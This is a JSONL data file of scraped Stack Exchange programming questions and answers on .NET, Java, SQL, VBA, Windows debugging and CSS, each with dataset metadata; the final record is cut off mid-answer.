{"id": "hf_b2a5e88241f4", "question": "<p>Less than 10 client computers, each with their own installation have to upload data to a central server.</p>\n\n<p>The client database looks like:</p>\n\n<p>tblSales\n- rowGuid\n- randomNumber</p>\n\n<p>Central Server database:</p>\n\n<ul>\n<li>rowGuid</li>\n<li>randomNumber</li>\n<li>dateInserted</li>\n</ul>\n\n<p>I plan to use WCF to send the files to the central server.</p>\n\n<p><b>How can I verify the rows were inserted to the server?  What kind of verification options do I have?</b></p>\n\n<p>I could return the # of rows inserted and compare that with the # that was sent, but is there any other more robust method?</p>\n", "question_body": "", "answer": "Using WCF you're going to be basically calling a function thru a proxy.  Just have that function return a bool true for success or false for failure.\n```\n```\nbool Success;\nSuccess = MyWCFService.InsertRecord(MyNewRecord);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.552272"}
{"id": "hf_ea33532f9a92", "question": "<p>If we develop a winform app using an MVC architecture, it should not be too hard to change over to WPF at a later date, correct?  </p>\n", "question_body": "", "answer": "Well designed WPF application heavily leverage data-binding. As such, you might consider using classes such as ObservableCollection and others and implement IPropertyNotify when designing your model.\nLook up some references to the M-V-VM pattern advocated by Microsoft product groups (e.g., Blend) for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.576088"}
{"id": "hf_b1da94e7da90", "question": "<p>In your “enterprise” work environment, how are engineers held accountable for performing code inspections and unit testing?  What processes do you follow (formal methodology or custom process) to ensure the quality of your software?  Do you or have you tried implementing a developer \"signoff\" sheet for deliverables?</p>\n\n<p>Thanks in advance!</p>\n\n<p>Update:  I forgot to mention we are using Code Collaborator to perform our inspections.  The problem is getting people to \"get it\" and buy into doing them outside of a core group of people.  As stalbot pointed out below it is a cultural change but the question becomes, how do you change your culture to promote quality initiatives such as reviews/unit tests?</p>\n", "question_body": "", "answer": "We lean heavily on ITIL concepts. While we don't need the full scale ITSM that ITIL provides, we have implemented processes that draw from some of the best practices in ITIL, specifically in the areas of Change Management and Release Management.\nCode reviews are part of our RM strategy. As a change or new piece of code makes its way through our RM process, a lot of eyes look at it. Ultimately the Release Manager makes the call on approval or rework, and all of this is documented (we use TFS and SharePoint). Formal code reviews are held by the Release Manager and the technical team he selects. The primary developer for a release candidate is held accountable for adherence to standards, functionality, and a verification of a completed test plan. If the quality standards aren't met, the deliverable is rejected and the project schedule is updated to reflect the rework.\nYes, this is all very heavy. I work in government and we have complex laws to follow, specifically in the areas of taxes, ADA compliance, and so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.612861"}
{"id": "hf_5025ba93b8b1", "question": "<p>I'm trying to do a subselect in pgsql aka postgresql and the example I found doesn't work:</p>\n\n<pre><code>SELECT id FROM (SELECT * FROM table);\n</code></pre>\n", "question_body": "", "answer": "I think you need something like:\n```\n```\nSELECT * FROM table WHERE id IN (SELECT id FROM table2);\n```\n```\nI don't understand what your non-working subquery is attempting to do, it seems like you could just say\n```\nSELECT id FROM table\n```\nbecause presently its not valid SQL92 syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.660972"}
{"id": "hf_79c81c535e75", "question": "<p>So here is the simple code:</p>\n\n<pre><code>    [System.ComponentModel.DefaultValue(true)]\n    public bool AnyValue { get; set; }\n</code></pre>\n\n<p>I am sure I don't set AnyValue to false again (I just created it). This property is a property of a Page class of ASP.NET. And I am cheking the value in a button event handling function. But somehow it is still false. \nI wonder when actually it is set true? On compile time? When class is instantiated?</p>\n\n<p>What do you think about what I am doing wrong?</p>\n", "question_body": "", "answer": "DefaultValue does\nNOT\nset the value.\nWhat it does is tell VisualStudio what the default value is.  When a visual element (Button, listbox etc) is selected on a form, and the Property panel is displayed, VS will\nbold\nthe values of properties which are set to something besides the value given in DefaultValue.\nHence in your case, since AnyValue is false, but it's DefaultValue is true, then is will display\nfalse\nin bold in the Property panel.  If you were to manually change it to \"true\", then it will be displayed non-bolded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.707494"}
{"id": "hf_9ec9cb1b10bf", "question": "<p>How can I document a member inline in .Net? Let me explain. Most tools that extract documentation from comments support some kind of inline documentation where you can add a brief after the member declaration. Something like:</p>\n\n<pre><code>public static string MyField; /// &lt;summary&gt;Information about MyField.&lt;/summary&gt;\n</code></pre>\n\n<p>Is there a way to do this in C# or the .NET languages?</p>\n", "question_body": "", "answer": "Yep, just put it BEFORE the thing you want to comment\n```\n```\n/// <summary>Information about MyField.</summary>\npublic static string MyField;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.731325"}
{"id": "hf_3fd69eead645", "question": "<p>I´ve been looking for it yet in stackoverflow without success...</p>\n\n<p>Is it posible a connection pooling in asp.net? Is it worthwhile? How?</p>\n", "question_body": "", "answer": "It is actually really simple, simply add the following parameters to your connection string and (either in code or in the web.config) and ASP.NET will pick up the rest:\n```\n```\nMin Pool Size=5; Max Pool Size=60; Connect Timeout=300;\n```\n```\nNote: The Connection Timeout is in seconds and is not required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.766807"}
{"id": "hf_b9876d85fb4f", "question": "<p>I have a program that runs osql.exe from microsoft sql server tools directory and runs a script. </p>\n\n<p>The problem is that on computers that don't have an installation of sql server, this tool is missing. So my question is whether or not is possible to run it as a standalone( along with any dll that may be required ) meaning that run them from Process.Start from a local directory of the application.</p>\n", "question_body": "", "answer": "Why are you spawning osql?\nI've written simple programs to execute scripts using SMO - mostly insired by\nthis post\n.\nEDIT\nThe jist of the post is to use\nSQL Server Management Objects (SMO)\n.\n```\nServer.ConnectionContext.ExecuteNonQuery\n```\nparses SQL with\n```\nGO\n```\nstatements in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.830736"}
{"id": "hf_703e88f594e2", "question": "<p>Lets say I have an array like this:</p>\n\n<pre><code>string [] Filelist = ...\n</code></pre>\n\n<p>I want to create an Linq result where each entry has it's position in the array like this:</p>\n\n<pre><code>var list = from f in Filelist\n    select new { Index = (something), Filename = f};\n</code></pre>\n\n<p>Index to be 0 for the 1st item, 1 for the 2nd, etc.</p>\n\n<p>What should I use for the expression Index= ?</p>\n", "question_body": "", "answer": "Don't use a query expression. Use\nthe overload of\n```\nSelect\n```\nwhich passes you an index\n:\n```\n```\nvar list = FileList.Select((file, index) => new { Index=index, Filename=file });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.868176"}
{"id": "hf_404af62aebda", "question": "<p>I'm writing some mail-processing software in Python that is encountering strange bytes in header fields.  I suspect this is just malformed mail; the message itself claims to be us-ascii, so I don't think there is a true encoding, but I'd like to get out a unicode string approximating the original one without throwing a <code>UnicodeDecodeError</code>.</p>\n\n<p>So, I'm looking for a function that takes a <code>str</code> and optionally some hints and does its darndest to give me back a <code>unicode</code>.  I could write one of course, but if such a function exists its author has probably thought a bit deeper about the best way to go about this.</p>\n\n<p>I also know that Python's design prefers explicit to implicit and that the standard library is designed to avoid implicit magic in decoding text. I just want to explicitly say \"go ahead and guess\".</p>\n", "question_body": "", "answer": "+1 for the\nchardet\nmodule (suggested by\n```\n@insin\n```\n).\nIt is not in the standard library, but you can easily install it with the following command:\n```\n```\n$ pip install chardet\n```\n```\nExample\n:\n```\n```\n>>> import chardet\n>>> import urllib\n>>> detect = lambda url: chardet.detect(urllib.urlopen(url).read())\n>>> detect('http://stackoverflow.com')\n{'confidence': 0.85663169917190185, 'encoding': 'ISO-8859-2'}    \n>>> detect('https://stackoverflow.com/questions/269060/is-there-a-python-lib')\n{'confidence': 0.98999999999999999, 'encoding': 'utf-8'}\n```\n```\nSee\nInstalling Pip\nif you don't have one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.892710"}
{"id": "hf_b9ca16b9b33b", "question": "<p>I want to use LabVIEW's Call Library Function Node to access a DLL function, and have this function return a string to displayed on my VI. How would I go about doing this? I am quite happy returning numbers from my DLL, but am really struggling to find any examples of how to return a string.</p>\n", "question_body": "", "answer": "I assume from your question that you already have a DLL that can return numbers to Labview.  To return a string from the DLL, I have created a DLL with the following C++ function\n```\n```\nvoid returnString(char myString[])\n{\n  const char *aString = \"test string\";\n  memcpy(myString, aString, 12);\n}\n```\n```\nIn Labview I then use the Call Library Function Node and configure it as follows\n```\nLibrary Name or Path: c:\\path\\to\\my\\custom.dll\n           Function Name: returnString\n           Calling Convention: C\n\n    Parameters: \n           Parameter: return type\n                type: void\n\n           Parameter: arg1\n                type: String\n                string format: C String Pointer\n\n    Function prototype:\n        void returnString(CStr arg1);\n```\nAfter connect the arg1 output in the block diagram to a string indicator and run.  The string \"test string\" should appear in the front panel.\nI tried to have the returnString function be of type CStr as in\n```\n```\nCStr returnString()\n{ ...\n }\n```\n```\nbut I got build errors when compiling the DLL project.\nUpdate\nThanks to @bk1e comment don't forget to pre-allocate space in Labview for the string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.916347"}
{"id": "hf_617a810a4349", "question": "<p>I know about this question: <a href=\"https://stackoverflow.com/questions/100548/which-third-party-debug-visualizers-for-visual-studio-20052008-do-you-use\">Which (third-party) debug visualizers for Visual Studio 2005/2008 do you use?</a></p>\n<p>But I don't want to know what debug visualizers you use, I want to know which debug visualizers are <em>out</em> there.</p>\n<p>I have only found Mole (<a href=\"http://www.codeproject.com/KB/macros/MoleForVisualStudioEdit.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/macros/MoleForVisualStudioEdit.aspx</a>), which is great. But there has to be plenty more out there?</p>\n<p>Enlighten me.</p>\n", "question_body": "", "answer": "From a quick web search...\nThere is the one referenced in the blog post from the related question:\nhttp://blogs.msdn.com/dparys/archive/2007/10/23/das-debugger-visualizer-item-template.aspx\nLINQ to SQL Debug Visualizer\nGraphics Debug Visualizer\nWindows Identity Debug Visualizer\nConchango XML Debug Visualizer\nSubSonic Collections Debug Visualizer\nPowerShell Debug Visualizer\nXml Visualizer v.2\nWCF Visualizers Tool\nWPF Dependency Object Visualizer\nDB Connection Visualizer\nDebugger Visualizer for BizTalk 2006: MessageContext\nDataSet Debug Visualizer\nGUID Debug Visualizer\nDebug Inspector\nWPF Brush Visualizer\nExpression Tree Visualizer\nANTLR4 Parse Tree Visualizer\nDateTime Visualizer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.954062"}
{"id": "hf_b2a574686378", "question": "<p>I am fairly new to WPF and I am having a problem with inheriting from a user control.</p>\n\n<p>I created a User Control and now I need to inherit from that control and add some more functionality.</p>\n\n<p>Has anyone does this sort of thing before?  Any help would be greatly appreciated.</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "Well .. you create your base control\n```\n```\npublic abstract class BaseUserControl : UserControl{...}\n```\n```\nthen in the XAML file :\n```\n```\n<Controls:BaseUserControl x:Class=\"Termo.Win.Controls.ChildControl\"\nxmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\nxmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\nxmlns:Controls=\"clr-namespace:Namespace.Of.Your.BaseControl\">\n```\n```\nAnd that should work.\nEDIT:\nHmm.. this example is useful when you have a base control without XAML and then inherit from it. The other way around(from a base control with Xaml) - I'm not sure how you can go about it.\nEDIT2:\nApparently from\nthis post + comments\ni take that what you want might not be possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.052171"}
{"id": "hf_f34735bb0f76", "question": "<p>My new project is targeting an embedded ARM processor.  I have a build system that uses a cross-compiler running on an Ubuntu linux box.  I like to use unit testing as much as possible, but I'm a little bit confused about how to proceed with this setup.</p>\n\n<p>I can't see how to run unit tests on the ARM device itself (somebody correct me if I'm wrong).  I think that my best option is to compile the code on the build machine using its own native compiler for the unit tests.  Is this approach fundamentally flawed?  Is unit testing on a different platform a waste of time?</p>\n\n<p>I'm planning to use CppUnit on the build machine using the native compiler for the unit tests.  Then I'll cross compile the code for the ARM processor and do integration and system testing on the target device itself.  How would you structure the source code and the test code to keep this from turning into a tangled mess?</p>\n", "question_body": "", "answer": "With embedded device it depends on what interfaces (hardware) you have.\nFor example the motion control cards I deal with uses a command line interface. The IDE they ship uses it as it primary method of interacting with the cards. It works the same way regardless if I am using PCI, IDE, Serial, or Ethernet.\nThe DLL they ship for programming give access to the command line interface. So I can send a string, and read back the response. So what I do for my unit tests is have a physical card hooked (or in) my development machine. I send it commands after uploading the software, read the response and if they are correct it passes the test.\nI also have extra hardware, a black box if you will, that simulates a machine that motion control card is normally hooked up too. It helps with the automated sets but there is a manual phase as I have to set switches to simulate different setups on the machine.\nI have achieved a greater degree of automation by taking a digital I/O card and using it outputs to feed into the inputs of the motion control card and the same in reverse.\nI found that for most hardware you have to have some type of simulator hardware.\nThe exception being the rare package that comes with a software simulator.\nI know this isn't probably ideal as not every developer can have one of these on their desk. My hardware simulator so I can give it to whoever it working on the motion control software at the time. If it can't be portable then having a dedicated testing or hardware development computer would be in order.\nFinally it boils down on the specifics of your hardware and what support the manufacturer gives in terms of software and simulators. To help you more you will need to post more specifics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.101064"}
{"id": "hf_4286ae1392e0", "question": "<p>Is there any technology out there that will allow you to do side-by-side updates of production schemas?</p>\n\n<p>The goal is to have zero down time when applying updates to a schema in production.\nWeblogic 10 has a similar feature for their Java EE apps where by you deploy the new version of the app and new connections go to the new app, while the existing connections continue to the old app.  When all the old connections complete/timeout, the old app is retired and the new app continues on...zero down time.  </p>\n\n<p>Is there something similar in Oracle?</p>\n", "question_body": "", "answer": "Yes. There is online redefinition package.\nDBMS_Redefinition\nBut I doubt this will give you zero downtime, this doesn't account for every possible change to a schema. This lets you do some table changes. I think you need to define zero and how extensive the changes you want to make. Usually if you change the database, you have to change your client as well. If you changed your database, how would the client switch automatically from the old proc signature to the new proc signature - Instantaneously?\nDatabases don't work like apps. There either is a FK from tableA to tableB or there isn't... it can't not be there for current connection and exist only for new connection in the same manner as your application can. Databases just aren't the same.\nThat being said, there is rumor that Oracle is working on package versioning... so you could connect to a specific version of a package to make such a migration simpler. But again... that would work for packages, DBMS_redef would work for tables... but that's not the sum total of your database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.125959"}
{"id": "hf_eacbcef768bf", "question": "<p>[1] In JDBC, why should we first load drivers using Class.forName(\"some driver name\").\nWhy SUN didnt take care of loading driver within the getConnection() method itself.If I pass driver name as a parameter to the getConnection() method. </p>\n\n<p>[2] I want to understand JBDC internals.Any pointers towards it are appreciated. </p>\n", "question_body": "", "answer": "With JDBC 4, you no longer need to use Class.forName(...) see\nhere\nfor one article explaining this:\nConnection to a database requires that a suitable JDBC database driver be loaded in the client's VM. In the early days of JDBC, it was common to load a suitable driver via Class.forName(), passing in the name of the class implementing the JDBC Driver interface. The DriverManager class later offered a more flexible means of managing JDBC drivers in a client application. For a driver to become available, DriverManager's registerDriver() had to be invoked with the driver's class name. Alternatively, you could specify the drivers to load via the jdbc.drivers system property. When DriverManager initializes, it attempts to load the drivers associated with that property.\nJDBC 4 adds the\nJ2SE Service Provider\nmechanism as another means to specify database drivers. For this to work, driver JAR files must include the file META-INF/services/java.sql.driver. That file must contain a single line with the name of the JDBC driver's implementation of the Driver interface. Invoking getConnection() on DriverManager will load a driver so packaged, if needed. Upon loading the driver, an instance of the driver is created, and then registerDriver() is invoked to make that driver available to clients.\nHave a look at\nSun's JDBC link\nfor more information on JDBC. The JDBC 4.0 Specification is relatively a nice read compared to some other specs...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.150118"}
{"id": "hf_5b4c2406d1b1", "question": "<p>We use Tomcat to host our WAR based applications.  We are servlet container compliant J2EE applications with the exception of org.apache.catalina.authenticator.SingleSignOn.</p>\n\n<p>We are being asked to move to a commercial Java EE application server.</p>\n\n<ol>\n<li>The first downside to changing that\nI see is the cost.  No matter what\nthe charges for the application\nserver, Tomcat is free.</li>\n<li>Second is the complexity.  We don't\nuse either EJB nor EAR features (of\ncourse not, we can't), and have not missed them.</li>\n</ol>\n\n<p>What then are the benefits I'm not seeing?</p>\n\n<p>What are the drawbacks that I haven't mentioned?</p>\n\n<hr>\n\n<p>Mentioned were...</p>\n\n<ol>\n<li>JTA - Java Transaction API - We\ncontrol transaction via database\nstored procedures.</li>\n<li>JPA - Java Persistence API - We use\nJDBC and again stored procedures to\npersist.</li>\n<li>JMS - Java Message Service - We use\nXML over HTTP for messaging.</li>\n</ol>\n\n<p>This is good, please more!</p>\n", "question_body": "", "answer": "Cost isn't necessarily a downside as there a few free J2EE servers, e.g. JBoss and Glassfish.\nYour question assumes that (J2EE = Servlet + EJB + EAR) and therefore, there's no point in using anything more than a Servlet container if you're not using EJB or EAR. This is simply not the case, J2EE includes a lot more than this. Examples include:\nJTA - Java transaction API\nJPA - Java persistence API\nJMS - Java messaging specification\nJSF - technology for constructing user interfaces out of components\nCheers,\nDonal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.245197"}
{"id": "hf_e32a65d985c0", "question": "<p>I have implemented a SAX parser in Java by extending the default handler. The XML has a ñ in its content. When it hits this character it breaks. I print out the char array in the character method and it simply ends with the character before the ñ. The parser seems to stop after this as no other methods are called even though there is still much more content. ie the endElement method is never called again. Has anyone run into this problem before or have any suggestion on how to deal with it?</p>\n", "question_body": "", "answer": "What's the encoding on the file? Make sure the file's encoding decloration matches it. Your parser may be defaulting to ascii or ISO-8859-1. You can set the encoding like so\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n```\n```\nUTF-8 will cover that character, just make sure that's what the file actually is in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.280818"}
{"id": "hf_171bc03639eb", "question": "<p>We have an Java application running on Weblogic server that picks up XML messages from a JMS or MQ queue and writes it into another JMS queue. The application doesn't modify the XML content in any way. We use BEA's XMLObject to read and write the messages into queues.</p>\n\n<p>The XML messages contain the encoding type declarations as UTF-8.</p>\n\n<p>We have an issue when the XML contains characters that are out side the normal ASCII range (like £ symbol for example). When the message is read from the queue we can see that the £ symbol is intact, however once we write it to the destination queue, the £ symbol is lost and is replaced with Â£ instead.</p>\n\n<p>I have checked the OS level settings (locale settings) and everything seems to be fine. What else should I be checking to make sure that this doesn't happen?</p>\n", "question_body": "", "answer": "Without a few more specifics, I'd guess that there is a method that optionally takes an encoding somewhere that isn't specified and is defaulting to ISO-8859-1. Commonly, check anything that passes between an InputStream/OutputStream and a Reader/Writer.\nFor instance, an\nOutputStreamWriter\ntakes an optional encoding that you could be leaving out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.304258"}
{"id": "hf_f8f0a7453f9f", "question": "<p>I have a not-so-small class under development (that it changes often) and I need not to provide a public copy constructor and copy assignment.\nThe class has objects with value semantics, so default copy and assignment work.</p>\n\n<p>the class is in a hierarchy, with virtual methods, so I provide a virtual Clone() to avoid slicing and to perform \"polymorphic copy\".</p>\n\n<p>I don't want to declare copy assignment and construction protected AND to define them (and to maintain in-sync with changes) unless I have some special thing to perform.</p>\n\n<p>Do someone knows if there's another way?</p>\n\n<p>thanks!</p>\n\n<p>UgaSofT</p>\n", "question_body": "", "answer": "I don't think there is anything in the C++ language that allows you to do this.  Although I'd love to be wrong on this point.\nI've run into this in the past and come up with the following solution.  Asumme the class is C1.\nDefine a private inner class called Data\nPut all of my members I would delare in C1 on Data instead\nDefine a protected copy constructor that just copies Data instances between C1.\nThis approach has a couple of downsides.  Namely it feels a bit un-natural and eliminates direct field access (can be mitigated with small accessor functions).\nIt's a roundabout way of doing what you're looking for but it avoids you having to write the copy constructor by hand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.367955"}
{"id": "hf_e3fd73257866", "question": "<p>I have a multi-threaded Windows application that occasionally deadlocks. Inevitably this happens on a customer system and not when the software is in test. What is the easiest way of getting a Windows Minidump of the current state of the application? If it could also terminate the application so the user can restart it and continue using the system that would be great.</p>\n", "question_body": "", "answer": "See the Microsoft support article\nHow to use ADPlus to troubleshoot \"hangs\" and \"crashes\"\n, as well as the helpful blog post\nDebugging Production Applications using ADPlus\n.\nBoth of these articles are about \"ADPlus\", a VBScript tool supplied with Debugging Tools for Windows that can be used to generate minidumps from a production environment (which can later be loaded up with WinDbg on your development machine). ADPlus has a lot of functionality and a lot of options, so it may take some reading, experimentation, and practice to find the best way to use it in your environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.392089"}
{"id": "hf_83fd7274a7d5", "question": "<p>Is there an event for when a document is edited?\nIf not, does anyone know where I could find a list of the available VBA events?</p>\n", "question_body": "", "answer": "Here are the events for the document object:\nhttp://msdn.microsoft.com/en-us/library/aa140279(office.10).aspx\nEvents\n```\n```\nDocumentBeforeClose : Immediately before any open document closes. \nDocumentBeforePrint : Before any open document is printed. \nDocumentBeforeSave : Before any open document is saved. \nDocumentChange : A new document is created, when an existing document is opened, or when another document is made the active document. \nDocumentOpen : A document is opened. \nEPostageInsert : A user inserts electronic postage into a document. \nEPostagePropertyDialog : A user clicks the E-postage Properties (Labels and Envelopes dialog box) button or Print Electronic Postage toolbar button. This event allows a third-party software application to intercept and show their properties dialog box. \nMailMergeAfterMerge : After all records in a mail merge have merged successfully. \nMailMergeAfterRecordMerge : After each record in the data source successfully merges in a mail merge. \nMailMergeBeforeMerge : A merge is executed before any records merge. \nMailMergeBeforeRecordMerge : As a merge is executed for the individual records in a merge. \nMailMergeDataSourceLoad : The data source is loaded for a mail merge. \nMailMergeDataSourceValidate : A user performs address verification by clicking Validate in the Mail Merge Recipients dialog box. \nMailMergeWizardSendToCustom : The custom button is clicked on step six of the Mail Merge Wizard. \nMailMergeWizardStateChange : A user changes from a specified step to a specified step in the Mail Merge Wizard. \nNewDocument : A new document is created. \nQuit : The user quits Word. \nWindowActivate : Any document window is activated. \nWindowBeforeDoubleClick : The editing area of a document window is double-clicked, before the default double-click action. \nWindowBeforeRightClick : The editing area of a document window is right-clicked, before the default right-click action. \nWindowDeactivate : Any document window is deactivated. \nWindowSelectionChange : The selection changes in the active document window. \nWindowSize : The application window is resized or moved.\n```\n```\nThere are also Auto Macros:\nAutoNew, AutoOpen, AutoExec, AutoExit", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.415748"}
{"id": "hf_24ca8f455009", "question": "<p>I have just been getting into low level programming (reading/writing to memory that sort of thing) and have run into an issue i cannot find an answer to.</p>\n\n<p>The piece of information i want to read from has an address that is relative to a DLL loaded in memory e,g, it is at mydll.dll + 0x01234567. the problem im having is that the dll moves around in memory but the offset stays the same. Is there anyway to find out the location of this dll in memory.</p>\n\n<p>I am currently trying to do this preferably in c# but i would be grateful for help in most highish level languages.</p>\n", "question_body": "", "answer": "From a Win32 perspective you need to use the\nGetModuleHandle\nand\nGetModuleInformation\nfunctions.  These let you look the module handle up by name, and then retrieve information, including the base address about that handle.\nIt should be straight forward to wrap these APIs using the standard P/Invoke wrappers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.463672"}
{"id": "hf_a79be19fcf3d", "question": "<p>Excel has a Conditional Formatting... option under the Format menu that allows you to change the style/color/font/whatever of a cell depending upon its value.  But it only allows three conditions.</p>\n\n<p>How do I get Excel to display say, six different background cell colors depending upon the value of the cell?  (IE Make the cell red if the value is \"Red\", and blue if \"Blue\" etc.)</p>\n", "question_body": "", "answer": "You will need to write something in VBA.\nSee example here:\nGet Around Excels 3 Criteria Limit in Conditional Formatting\n:\n```\n```\nPrivate Sub Worksheet_Change(ByVal Target As Range)\n\nDim icolor As Integer\n\n    If Not Intersect(Target, Range(\"A1:A10\")) is Nothing Then\n\n        Select Case Target\n\n            Case 1 To 5\n                icolor = 6\n            Case 6 To 10\n                icolor = 12\n            Case 11 To 15\n                icolor = 7\n            Case 16 To 20\n                icolor = 53\n            Case 21 To 25\n                icolor = 15\n            Case 26 To 30\n                icolor = 42\n            Case Else\n                'Whatever\n        End Select\n\n        Target.Interior.ColorIndex = icolor\n    End If\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:28.488638"}
{"id": "hf_89e9ec4775dc", "question": "<p>I have a list of items that I am displaying in a floated list, with each item in the list at a fixed width so that there's two per row. What is the best practice to prevent this horrible thing from happening:</p>\n\n<p><a href=\"http://x01.co.uk/floated_items.gif\">alt text http://x01.co.uk/floated_items.gif</a></p>\n\n<p>Possibilites:</p>\n\n<ul>\n<li>Trim to a specified number of characters before displaying the data.  Requires guesswork on how many characters will be \"safe\".</li>\n<li>Overflow: hidden.  Hacky.</li>\n<li>Remove the background and just have a top border on each item.</li>\n</ul>\n\n<p>Possible but silly:</p>\n\n<ul>\n<li>Have a scrollbar in each item by doing overflow: auto, this will look horrendous.</li>\n<li>Add a background image to the container.  It's not guaranteed that there's always an equal number of items so this option is out.</li>\n</ul>\n\n<p>Any help on this irritating issue appreciated!</p>\n", "question_body": "", "answer": "Are you using a fixed font size, i.e. specified in px? If not you also need to consider the various text size options of each browser which is probably going to make the concept of trimming the string redundant. If it is fixed then perhaps seeing how many Ws you can fit in and restricting your text to that -3 and appending an ellipsis, not sure what this list is for so that's one approach.\nPersonally I'd probably use overflow:hidden as that covers all eventualities and ensures that it'll always keep your layout consistent.\nI guess the last option would be to keep a tight control over what can be added to the list and prevent the problem occuring in the first place. Prevention better than cure as they say, 